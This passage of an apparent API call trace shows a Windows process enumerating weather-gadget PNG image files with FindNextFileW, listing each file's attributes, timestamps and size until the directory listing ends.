(in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87500758, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87500758, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cb25ee5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3253, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_rainy.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875268b5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875268b5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2cfe8aa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_snow.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8754ca12, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8754ca12, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2eda9c15, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x31d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="docked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ef72c7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="grayStateIcon.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2fc8a4cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x175, dwReserved0=0x0, dwReserved1=0x0, cFileName="greenStateIcon.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0081.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87715a6e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87715a6e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x0, cFileName="redStateIcon.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8767d4fa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8767d4fa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3078c9f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="search_background.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876c97b4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876c97b4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309c7e7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x758e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked-loading.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c5f846, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c5f846, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x309edfd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ddb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30b44c27, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_few-showers.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c859a3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c859a3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7ee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_foggy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cabb00, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cabb00, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cd1c5d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cd1c5d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d33ded, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cf7dba, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cf7dba, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x60f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-first-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d1df17, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d1df17, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30d59f4b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4ee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x65e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-full_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d44074, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d44074, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30e8aa3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4a10, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d6a1d1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d6a1d1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312b5083, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-last-quarter_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x312db1e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x558a, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9032e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86d9032e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3130133f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-new_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86db648b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86db648b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315aebdb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ddc5e8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ddc5e8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x315d4d39, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6469, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e02745, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e02745, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4b87, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous.png", cAlternateFileName="")) returned 1 [0081.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e288a2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e288a2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x316df6cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x62fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waning-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e4e9ff, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e4e9ff, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x318a8733, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent.png", cAlternateFileName="")) returned 1 [0081.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e74b5c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e74b5c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32af4f5d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6455, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-crescent_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x32c4bbab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x4c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous.png", cAlternateFileName="")) returned 1 [0081.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e9acb9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86e9acb9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x338cae83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6222, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_moon-waxing-gibbous_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ec0e16, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ec0e16, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x349747a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x94ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_rainy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ee6f73, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ee6f73, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34b89ac7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_snow.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f0d0d0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f0d0d0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x34bd5d83, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f3322d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f3322d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x356b2151, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_black_windy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5938a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f5938a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3662af81, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6add, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_partly-cloudy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x366510df, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_snow.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f7f4e7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86f7f4e7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36735913, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8f5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_sun.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3675ba71, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbc54, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_blue_windy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fcb7a1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86fcb7a1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36866403, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8184, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_cloudy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ff18fe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ff18fe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8450, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x893d, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_foggy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87017a5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87017a5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36aedb41, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x9508, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_hail.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8703dbb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8703dbb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36b860b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa742, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_rainy.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87063d15, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87063d15, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36cdcd07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa0df, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_snow.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87089e72, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87089e72, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36e7fc11, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0081.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87089e72, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87089e72, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36e7fc11, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 0 [0081.013] GetLastError () returned 0x12 